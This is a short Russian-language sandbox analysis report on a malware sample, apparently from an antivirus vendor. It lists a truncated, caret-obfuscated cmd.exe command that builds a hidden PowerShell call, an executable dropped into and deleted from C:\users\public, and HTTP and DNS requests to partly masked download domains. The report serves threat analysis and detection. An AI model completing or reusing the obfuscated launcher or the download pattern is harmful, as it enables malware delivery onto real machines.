Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' ndjkhfdshfjksdfjkds fhdjsk fhsdjkfsdkjfska dhakjbhdbqwuiqwh hiqwoeqwpi poqw eqw & %C^om^S^p^Ec% /V /c set %oSIGHknfJNYz%=p^o^w^er&&set %CQBcMFc%=^sh^el^l&&!%oSI...
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\131404.exe
Удаляет следующие файлы
- C:\users\public\131404.exe
Сетевая активность
Подключается к
- 'cc###ass.net':80
- 'co###rtin.com':80
- 'rw######rphansproject.org':80
TCP
Запросы HTTP GET
- http://cc###ass.net/6SrlScT/
- http://co###rtin.com/MUHagMS/
- http://rw######rphansproject.org/xIeDFfP/
UDP
- DNS ASK as####atraining.com
- DNS ASK ga######rgervergleich.biz
- DNS ASK cc###ass.net
- DNS ASK co###rtin.com
- DNS ASK rw######rphansproject.org
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' ndjkhfdshfjksdfjkds fhdjsk fhsdjkfsdkjfska dhakjbhdbqwuiqwh hiqwoeqwpi poqw eqw & %C^om^S^p^Ec% /V /c set %oSIGHknfJNYz%=p^o^w^er&&set %CQBcMFc%=^sh^el^l&&!%oSI...' (со скрытым окном)
